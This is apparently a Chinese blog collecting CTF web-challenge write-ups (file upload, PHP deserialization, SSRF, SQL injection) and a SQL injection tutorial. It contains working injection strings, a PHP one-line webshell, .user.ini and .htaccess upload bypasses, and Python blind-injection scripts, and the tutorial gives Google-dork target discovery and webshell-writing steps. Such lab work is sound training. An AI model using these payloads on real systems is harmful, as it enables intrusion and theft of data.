s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

[ZJCTF 2019]NiZhuanSiWei

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

要传入text,file,password这三个变量,第一个if要确保text不为空,且file_get_contents到text的内容要为welcome to the zjctf,所以这里要求我们写入一个文件,所以才能让file_get_contents从文件里能读取出字符串。这里用伪协议data://
data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码,后面那一串是welcome to the zjctf的base64

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

绕过第一个if后,可以看到有一个useless.php,直接访问并没有任何东西,我们用伪协议查看下

1
file=php://filter/convert.base64-encode/resource=useless.php

能看到回显base64,解码后能看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

能发现这其实是一个能利用的类,结合原来的代码有反序列化的函数,可以很容易的猜到应该是要把这里序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
class Flag{  //flag.php  
    public $file = 'flag.php'; 
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag;
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里考察了一个魔术方法,__tostring,比如说如果实例化了一个类,然后直接echo打印,是会报错的.
报错:Object of class Person could not be converted to string

大致意思就是这个类不能被转化为字符类型,所以这里我们加一个__tostring,或者不调用魔术方法的情况下把echo这一句删除也不会报错

因为__tostring在反序列化时会被自动调用,所以我们可以利用file_get_contents来获得

然后按照上述的三步,将第二个改为file=useless.php依次传入就可以了

[SUCTF 2019]CheckIn

打开就是一个简单的上传页面,上传一个php试下,回显违法的

图片

把后缀名改为jpg,发现回显:exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了

图片

提示文件内容里含有<?,这里对文件内容也做了检测,换一个木马的形式

1
2
GIF89a
<script language='php'>assert($_REQUEST['cmd'])</scriptpt

到这里可以捋一下思路
-> 上传过滤为黑名单,但php脚本文件应该是无法上传的

-> 存在文件头过滤,需要添加图片文件的文件头

-> 文件的内容不能包含<?,但可以上传<script language='php'><scirpt>类型的图片马来绕过 ,按照以往的思路,可以尝试用.htaccess去把图片马解析为php,但这里不行,因为.htaccess只能适用于apache。这里看了下WP

,利用.user.ini来上传后门

我们可以在.user.ini中设置php.iniPHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

auto_prepend_fileauto_append_file这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效 ,这两个的作用我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

所以我们可以上传一个内容为

1
2
GIF89a
auto_prepend_file=a.jpg

的.user.ini来为我们后面上传的木马做准备
此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,接着上传木马,访问到index.php,我这里本来想用蚁剑连的,但是不知道为什么连不上,就直接get传了获得flag

[极客大挑战 2019]HardSQL

打开题目,发现这也还是一个SQL注入的题目。难度可能比之前的大,也就加了点过滤吧。

通过测试发现过滤了union,and,等于号,空格

可以使用updatexml或extractvalue报错注入法

查表:

1
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin

查列:

1
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

查内容:

1
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin

这个只得到了左边内容,用right得到右边内容

1
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf

extractvalue:
查库:

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database())),0x7e))%23

查表:

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e))%23

查列:

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))%23

查内容:

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e))%23

因为有32个字符的限制,所以这里用一下right或者substr把后面的显示下

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e))%23

[MRCTF2020]你传你🐎呢

上传一个一句话php,果然不行:

在Bp中修改mime的类型为image/jpeg

上传成功

图片

但是并不能解析为php文件,那我们的马就没用所以我们需要上传一个htaccess文件

 .htaccess文件(分布式配置文件),提供了针对目录改变配置的方法, 就是在一个特定的文件目录中放置一个包含多个指令的文件,以作用于此

目录及其子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache 的allowOverride指令来设置。httpd.conf文件中设置

编辑.htaccess文件内容

AddType application/x-httpd-php .jpg

以上内容就是可以把.jpg文件解析为php文件,这样我们就可以上马了。

首先我们先传一个.htaccess文件

图片

然后把我们的马传上去

连蚁剑进根目录,就是flag

[MRCTF2020]Ez_bypass

进去直接就是源码,但是比较杂乱,整理下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; 
if(isset($_GET['gg'])&&isset($_GET['id']))

$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) // 0e或者数组绕过

echo 'You got the first step';
if(isset($_POST['passwd']))
{
$passwd=$_POST['passwd'];
if(!is_numeric($passwd)) //弱类型 比如1234567a绕过
{if($passwd==1234567)
{ echo 'Good Job!'; 
highlight_file('flag.php');
die('By Retr_0');}
else
{ echo "can you think twice??";}
}
else{ 
echo 'You can not get it !'; } 

else{ die('only one way to get the flag'); } 

else 
{ echo "You are not a real hacker!"; } 

else
{ die('Please input first'); } 
 }
Please input first

按照注释的方法依次传进去就是flag

[网鼎杯 2020 青龙组]AreUSerialz

进去就是源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
 <?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;//protected受保护的修饰符,被定义为受保护的类成员则可以被其自身以及其子类和父类访问
    protected $filename;
    protected $content;
 
    function __construct() {//构造函数
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();//->对象调用类的函数
    }
 
    public function process() {//process方法
        if($this->op == "1") {
            $this->write();//如果op=1就运行write函数
        } else if($this->op == "2") {//注意这个是弱比较
            $res = $this->read();//如果是op=2,运行read函数将运行完的值赋值res,然后将$res放到output函数中
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content))//判断filname和content是否为空 {
            if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {//析构函数 该函数会在类的一个对象被删除时自动调用。
        if($this->op === "2")//注意这个是强比较
            $this->op = "1";//将1赋值给op
        $this->content = "";//将content变为空
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)//strlen判断字符串长度
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;//ord是以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

这里需要传入一个序列化之后的类对象。is_valid()是一层防护确保我们传入的str的每个字母的ascii值在32和125之间。注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求,这里绕过方法就是直接改成public,原因是php7.1以上的版本对属性类型不敏感类型。而public属性序列化不会产生不可见字符而destruct()魔术方法会在传参是2的字符的时候,对传入的参数进行赋值

1
2
3
4
5
6
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里的比较是===强比较,而在process()函数是弱比较

1
2
3
4
5
6
7
8
9
10
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.
进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content = 2;

}
$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";i:2;}

图片

这道题很有意思,要多研究下,虽然并不是很难

或者用伪协议传进去也行,因为这里有file_get_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class FileHandler {

    public $op = 2;
    public $filename = "php://filter/convert.base64-encode/resource=flag.php";
    public $content = 2;

}
$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

图片

acquisition:

1.file_get_content()可以读取php://filter伪协议。

2.protected/private类型的属性序列化后产生不可打印字符,public类型则不会。

3.PHP7.1+对类的属性类型不敏感。

4.关于强弱类型比较“===”、“==”。

[GXYCTF2019]BabySQli

进入题目可以看到一个登录框

做一些常规的输入和测试,能够发现做了一些过滤比如or 等号

随便登陆下,可以发现有一段base32

解密后是base64再次解密

1
得到select * from user where username = '$name'

得到了查询语句,可以知道这里只对用户名进行了查询,进行对字段的查询,还是尝试最常见的ordby但是被过滤,就是用union进行查询
比如:

1
admin' union select 1,2#

两个字段报错了
当查询为三个字段时不报错,可得为三个字段,提示为用户名错误,而之前也知道admin是存在这个用户名的,我们进行测试admin在第几个字段

比如

1
1' union select 'admin',2,3#

当admin为第二个字段时,提示为密码错误,可知道用户名为第二个字段,但是这里就卡住了,去看下search.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
 
// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }
 
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
 
if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        $arr = mysqli_fetch_row($result);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}
 
?>

重点在这里

1
2
3
4
if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }

前面对每个用户的密码进行了md5加密,每次查询如果我们输入数据的md5与数据库里密码的md5相等,就返回flag
这里看WP知道可以用联合查询绕过

用联合查询语句用来生成虚拟的表数据。

学到了联合注入有个技巧。在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。 举个例子:

最初users表中只有一行数据,

我们通过union select查询就可以构造一行虚拟的数据,

如上图,我们在users表中利用联合查询创建了一行虚拟的数据。

我们的思路就来了,我们可以利用联合查询来创建一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户的密码(123)加进去,这样我们不就可以登录admin

在用户名登录框输入1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#其中202cb962ac59075b964b07152d234b70为123的MD5值,然后在密码登录框中输入123即可登录

[GYCTF2020]Blacklist

跟强网杯的随便注类似但过滤了更多

图片

几乎把上次的三种方法都封闭了,不过还留了一个堆叠注入,不过不知道为啥不能查库名

1
';show tables;#

图片

然后查列名

图片

接下来就不能用show查内容了,用handler(简直就是翻着文档做)

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1
';handler FlagHere open;handler FlagHere read first;handler close;#

flag就出了

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开环境直接把表名和列名都给了我们都是flag

输入1,2时能获得回显是正常的,输入0显示error

1
2
3
4
id=1
Hello, glzjin wants a girlfriend.
id=2
Do you want to be my girlfriend?

输入单引号返回false=,填入空格显示SQL Injection Checked说明空格被过滤了,但是单引号没有被过滤
根据题目提示构造payload

1 union select flag from flag

被过滤了,试下直接输入1 union也被过滤了,fuzz下把过滤了的都找到

去网上找了下wp看到了源码,能直接看到过滤了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
    var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

这里确实没想到常见的注入手法,不过可以看到wp可以用异或注入
大佬的payload是这样:

1
0^(ascii(substr((select(flag)from(flag)),1,1))>1)

但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and
可以看到异或也是布尔的一种,只不过利用手法不同。这里大量的函数也没过滤,我贴上两种思路的脚本

if 0x容易理解版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
url = "http://web43.node1.buuoj.cn/index.php"
data = {"id":""}
flag = 'flag{'
length = 5
while True:
    #直接从数字开始猜
for i in range(48,127):
        #复现平台有waf,一秒只能访问一次
time.sleep(1)
#绕过一些过滤字符
if i in [38,42,43,45,59,96]:
continue
data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i)) 
r = requests.post(url,data=data)
#返回1
        if 'Hello' in r.text:
flag+=chr(i)
length+=1
print(flag)
break
if flag[-1]=='}':
break

0x二分版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
#url是随时更新的,具体的以做题时候的为准
#有时候太快了状态码是429,发现数据异常可以多跑两遍
url = 'http://c0f13472-2391-4772-adfa-291d7bcf25d0.node3.buuoj.cn/'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2 
        else:
            end = tmp
            tmp = (begin+end)//2
    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break

异或二分版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

[网鼎杯 2018]Fakebook

注册一个账号,发现有类似表格类型的id,username,password这种可以考虑到SQL注入

看到url有一个no的参数,尝试注入,输入一个单引号有报错,存在注入的可能

union注入被过滤了,尝试报错注入

1
1 and extractvalue(1,concat('~',(select(group_concat(database())))))%23

能爆出库名,接着表名,但很怪的是把的十六进制禁了,没把禁了,很怪

1
1 and extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='fakebook')))%23

爆出表名,接着爆列名

1
1 and extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))%23

接着查数据

1
1 and extractvalue(1,concat('~',(select(group_concat(right(passwd,32)))from(fakebook.users))))%23

但是查出来就是我刚注册的信息,但值得注意的是data这个字段是序列化后的形式
这里其实就没思路了,看了下WP,是要用工具扫下,能看到robots.txt泄露源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class UserInfo
{undefined

    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {undefined
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {undefined
        $ch = curl_init();                                   //初始化一个curl会话

        curl_setopt($ch, CURLOPT_URL, $url);                 //设置需要抓取的URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
        $output = curl_exec($ch);                            //运行cURL,请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {undefined
            return 404;
        }
        curl_close($ch);          //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄

        return $output;
    }

    public function getBlogContents ()
    {undefined
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {undefined
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里看了下没看出啥特别的漏洞点,WP里说get函数这里存在ssrf漏洞,又是一个新知识点,加上之前报错透露出文件的目录所在地
大致的思路到这里就清晰了

综合考虑:服务端请求伪造漏洞,在服务器上的flag.php文件,网站配置文件的物理路径(同时也是flag.php的路径),PHP反序列化。利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件

序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class UserInfo
{
    public $name = "test";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$a = new UserInfo();
$b = serialize($a);
echo $b;

O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

直接用 union select 会被WAF检测到,所以使用 /**/ 来绕过

1
构造payload:/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

传过去查看源码解密base64就是flag(这里为啥是base64形式)

前置知识:sql基础语法

环境:mysql,Sqli-lab,phpstudy

原理:

编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结构就可以获得一些数据库信息

SQL注入是一种将恶意的sql代码插入或添加到应用的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙地构造SQL语句,对DBMS的内容进行直接检索或修改

灵活的SQL查询语句+用户输入的数据带入了SQL语句=用户直接操作数据库->SQL注入

例如:

正常查询:

1
2
3
4
select version();
select id from jobs where id = 1;
select id from jobs where id = 1 union select version();
select id,location from jobs where id = 1 union select 1,version();

用户输入可控,代码对用户输入,带入了SQL语句,产生了SQL注入漏洞:

http://test.com/index.php?id=1 union select 1,version()#

前者是正常输入,后者是用户输入可自主控制

代码实现:

1
2
$id=$_GET['id'];
$sql="select * from users where id='$id' limit 0,1"

具体输入:

1
select id,location from jobs where id = 1

返回id为1的location

1
select id,location from jobs where id = 1 union select 1,version()#

返回id为1的location和数据库版本
如果是想查询id和其他数据的信息,比如说查id和版本信息时

正常查询:

1
select * from users where id=1  union select 1,2,version()#

上面是正常查询的语句,但如果要代入代码即上面贴出的

1
$sql="select * from users where id='$id' limit 0,1"

我们则要考虑闭合单引号,构造payload

1
id=1' union select 1,2,version()# 

PS:#为sql中的注释,即后面的语句全都忽略不执行
把payload代入代码就是这样的

1
$sql="select * from users where id='1' union select 1,2,version()#'  limit 0,1"

这里可以很清晰的看见1’闭合了前面的select后面的union联合查询执行查询版本信息,#把后面的给注释忽略不执行,这就是比较典型的一个sql注入语句
但是这里所有我们自主输入的数据都是正确可执行的,比如id=1’,闭合后就是id=’1’就是查询1,执行后显示的就是id为1的数据,后面union查询的不会显示,所以需要把第一个数据改为一个错误或者说是不存在的比如说是-1

1
id=-1' union select 1,2,version()# 

再把上面的代入$sql这里,就能显示出版本的信息。

Mysql常用函数及逻辑运算:

PS:内置函数推荐去官方文档去查看或者是菜鸟教程之类的

常用函数:

system_user():系统用户名

user():用户名

current_user():当前用户名

session_user():连接数据库的用户名

database():数据库名

version():数据库版本

@@datadir:数据库路径

@@basedir:数据库安装路径

@@version_compile_os:数据库安装路径

count():返回执行结果数量

concat():没有分隔符地连接字符串

concat_ws():含有分隔符地连接字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

load_file():读取本地文件

into_outfile:写文件

ascii():字符串的ASCII代码值

ord():返回字符串第一个字符的ASCII值

mid():返回一个字符串的一部分

substr():返回一个字符串的一部分

length():返回字符串的长度

left():返回字符串的最左面几个字符

floor():返回小于或等于x的最大整数

rand():返回0和1之间的一个随机数

extractvalue():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

updatexml():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

sleep():让此语句运行N秒钟

if():>select if(1>2,2,3);

_>3

char():返回整数Ascii代码字符组成的字符串

STRCMP():比较字符串内容

IFNULL():假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

exp():返回e的x次方

算术运算符:

+:加法运算 -: 减法运算 *:乘法运算 /:除法运算 %:求余运算

DIV:除法运算,同”/“ MOD:求余运算,同“%”

比较运算符:

:大于 <:小于 =:等于 >=:大于等于 <=:小于等于 !=或<>:不等于

IS NULL:为空 IS NOT NULL:不为空

BETWEEN AND:在…之间 IN:包含

NOT IN:不包含 LIKE:模式匹配

NOT LIKE:模式匹配 REGEXP:正则匹配式

逻辑运算符:

&&或AND:与 !或NOT:非 ||或OR:或 XOR:异或

AND<–>OR:

1
select * from users where id = 1 and 1=1

前者为true,后者也是true,总体为true

1
select * from users where id = 1 or 1 = 2

前者为true,后者为false,总体为true
以上为AND和OR的区别

登陆处的SQL语句:

1
select * from users where username = 'admin' and pwd = 'pass' ;

万能密码:‘or ‘1’ = ‘1

1
select * from users where username = '  'or '1' = '1  ' and pwd = ' ' or '1' = '1 '
1
select * from users where username = " or '1' = '1' and pwd = " or '1' = '1'

然后直接分析可以发现false和true并为true,true再和false并为false,false再和true并为true

样例分析:

1
2
3
4
5
6
7
8
9
10
11
12
and 1=2 union select 1,2,3--

select user() regexp '^ro'

ascii(substr(select user()),1,1))=114

if(ascii(substr((select user()),1,1))=114,0,sleep(5))

(ascii(substr((select table_name from information_schema.t
ables where table_schema=database() limit 0,1),1,1)=9)

updataxml(1,concat(0x7e,(select @@version),0x7e),1)

注入流程:

寻找注入点:

  1. 目标搜集:
  • 无特定目标:

     inurl:php?id=
    
  • 有特定目标:

      inurl:php?id=site:target.com
    
  • 工具爬取:

     spider,对搜索引擎和目标网站的链接进行爬取
    

工具:googlehack语法

注入识别:

  • 手工简单识别:

    1
    2
    3
    4
    '
    and 1=1 /and 1=2
    and '1' = '1 /and '1'='2
    and 1 like 1 /and 1 like 2
  • 工具识别:

    sqlmap - m filename(file中保存检测目标)
    
    sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
    
  • 高级识别:

  1. 拓展识别广度和深度:
    sqlmap –level 增加测试级别,对header中相关参数也进行测试
    sqlmap -r filename (filename中为网站请求数据)
    

2.利用工具提高识别效率:

 Burpsuite + sqlmap

 burpsuite拦截所有浏览器访问提交的数据

 burpsuite拓展插件,直接调用sqlmap进行测试

Tips:

可以在参数后键入”*”来确定想要测试的参数

可能出现注入的点:新闻,登陆,搜索,留言

站在开发的角度去寻找

流程:

信息搜集:

  1. 数据库类型
  2. 数据库版本
  3. 数据库用户
  4. 数据库权限
    例子:
1
check the manual that corresponds to your Mysql server for the right synatx 或者 Microsoft JET Database Engine 错误

函数:version().@@version
@@version v$version

user(),SYSTEM_USER

super_priv IS_SRVROLEMEMBER

获取数据:

  1. 获取库信息
  2. 获取表信息
  3. 获取列信息
  4. 获取数据
    方法:语句查询和暴力破解

提权:

  1. 执行命令:sqlserver sa权限 xp.cmdshell或–os-shell
  2. 读文件 : 读中间件配置文件,读数据库配置文件
  3. 写文件 : 写webshell到网站目录

    SQL手工注入方法

Mysql内置库:

mysql:保存现有账户信息,权限信息,存储过程,event,时区等信息

sys:包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_schema:用于收集数据库服务器性能参数

information_schema:它提供了访问数据库元数据的方式,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的类型与访问权限等

核心原理:

Mysql内置的information_schema库,他功能强大,是我们进行注入的基石,通过information_schema可以窥视整个数据库的运行情况和数据信息

查询数据的核心语法:

查库:select schema_name from informaiton_schema.schemata

查表:select table_name from information_schema.tables where table_schema=库名

查列:select column_name from information_schema.columns where

table_name=表名

查数据:select 列名 from 库名.表名

若某个数据不能使用单引号包括,可以用hex转换

tips:

  1. 所有类型的注入都是基于查库查表查列
  2. 如果数据太多导致无法返回查询结果,查询的场景:可利用limit限定返回的数量和位置,依次查询。回显数据的场景:concat链接多个数据成为一条返回结果
  3. 在一些场景,想要快速获取数据,需借助工具如bp

    练习:sqli-lab less1

id=1时

1
select * from user where id='1' limit 0,1

可得到用户名和密码回显

1
2
id=2'时
select * from user where id='2' 'limit 0,1

回显语法错误,进行简单的逻辑判断
id=2’ and ‘1’ =’1

1
selec * from user where id ='2' and '1' = '1'

回显正常,得到id=2的用户名和密码,由此可知这一题存在sql注入
利用上述提到的知识进行注入先用union判断字段长度

id=2’ order by 1– +

1
select * from user where id='2' order by 1-- + '

回显正常,说明存在一个字段,依次增加字段数,可知道有三个字段
id=2’ union select 1,2,3–+

1
select * from user where id='2' union select 1,2,3 --+'

回显正常,确实存在三个字段,接着因为2不能返回我们想要的结果,切换为不存在的id值
